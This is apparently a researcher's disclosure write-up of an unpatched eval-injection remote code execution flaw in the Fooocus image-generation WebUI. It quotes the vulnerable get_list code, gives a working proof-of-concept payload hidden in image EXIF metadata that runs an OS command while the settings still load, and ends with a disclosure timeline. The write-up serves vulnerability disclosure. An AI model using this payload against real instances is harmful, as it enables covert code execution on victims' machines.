Remote Code Execution Vulnerability in Fooocus
Fooocus is the third-most popular open-source AI image generation WebUI on GitHub with 48k stars.
By exposing it to the internet, you allow attackers to take control of your computer using an exploit I reported six months ago that remains unpatched.
Here is the story of how I found it.
Why Fooocus?
As part of a university project, I was asked to evaluate a series of AI image generation tools and recommend one of them to my professor.
This list of open-source tools included Fooocus and led to me finding an “Eval Injection” vulnerability that could allow attackers to run arbitrary code on any Fooocus instance exposed to the web.
Finding the Vulnerability
For this university project, I was under an extreme time crunch. I was only able to allocate a week to analyse five tools, whereas I would usually dedicate an entire week per tool.
Because of this, I had to take certain shortcuts. My first attempt included analysing the HTTP requests being made via the WebUI and tweaking them to see if I could trigger any breakage, such as XSS or IDOR.
My next attempt meant searching the codebases for risky Python calls such as eval, and in Fooocus’s codebase, I noticed that eval was being used in a function called get_list.
What was the vulnerability?
The vulnerable function is as follows:
def get_list(key: str, fallback: str | None, source_dict: dict, results: list, default=None):
try:
h = source_dict.get(key, source_dict.get(fallback, default))
h = eval(h)
assert isinstance(h, list)
results.append(h)
except:
results.append(gr.update())
In this example, the code takes the following object:
{"styles":"['Fooocus V2', 'Fooocus Enhance']"}
It accesses the styles JSON key:
loaded_parameter_dict = {"styles":"['Fooocus V2', 'Fooocus Enhance']"}
get_list('styles', 'Styles', loaded_parameter_dict, results)
...
h = source_dict.get(key, source_dict.get(fallback, default))
And then converts it into a Python list by using eval:
h = eval(h)
The problem is that by using eval to convert the user-controlled value into a list, it could allow attackers to execute arbitrary Python.
How to exploit it
This vulnerable function is triggered by importing the metadata from a previously generated image; this metadata is stored as JSON in the EXIF of the image.
It is then applied as settings to Fooocus so the image can be deterministically recreated.


The embedded JSON text is parsed by the vulnerable get_list function.
loaded_parameter_dict = {"styles": "__import__('os').system('echo pwned > /flag') or ['Fooocus V2', 'Fooocus Sharp']"}
get_list('styles', 'Styles', loaded_parameter_dict, results)
...
h = source_dict.get(key, source_dict.get(fallback, default))
Then it evaluates the code string.
h = "__import__('os').system('echo pwned > /flag') or ['Fooocus V2', 'Fooocus Sharp']"
h = eval(h)
The eval evaluates the string in stages. First, it evaluates and executes the malicious payload.
Since the malicious payload executes successfully, it will exit and return 0, aka False, meaning no error.
h = eval("__import__('os').system('echo pwned > /flag')")
print(h) # 0 / False
The eval then executes the second half of the statement, which evaluates the array/list and converts it into a valid Python array.
h = eval("['Fooocus V2', 'Fooocus Sharp']")
print(h) # ['Fooocus V2', 'Fooocus Sharp']
Because of the or statement, the final value of h will become the first non-falsy value seen.
The left half evaluates to zero/False, so eval continues on and evaluates the right half. Since the array is non-empty, it evaluates to True.
This means that the valid styles array becomes the final value of h.
h = ['Fooocus V2', 'Fooocus Sharp']
This array is then double-checked to ensure it is a valid list before applying the styles to Fooocus’s UI / Settings.
h = ['Fooocus V2', 'Fooocus Sharp']
assert isinstance(h, list)
results.append(h)
Because it is a valid list, it gets applied alongside whatever other valid configuration details are included in the EXIF metadata of the image.
This results in the victim being none the wiser about the malicious code they just executed, because everything appears to have worked just fine.
Reporting the vulnerability
In August of 2024 there was a warning added to the repository’s README.md stating that the program was now in a “Limited Long-Term Support” mode and would only be fixing bugs.
The Fooocus repository appears to have since become unmaintained, as the last commit is a library update in September of 2025.
Six months ago on the 27th of October 2025, I reported this issue to the maintainers by creating a GitHub issue on both the official repo and the second maintainer’s fork of it.
Additionally, I sent an email to both the primary and secondary maintainers’ emails.
Neither of the maintainers has replied to my email or the GitHub issue.
Timeline (DD/MM/YYYY)
- 19/08/2024 - Fooocus transitioned to Limited Long-Term Support (LTS).
- 02/09/2025 - Final code commit merged.
- 27/10/2025 - Vulnerability disclosed to maintainers.
- 27/04/2026 - Six months elapsed.
- 09/05/2026 - Writeup published.
Donations
If you would like to support me, consider buying me a coffee here.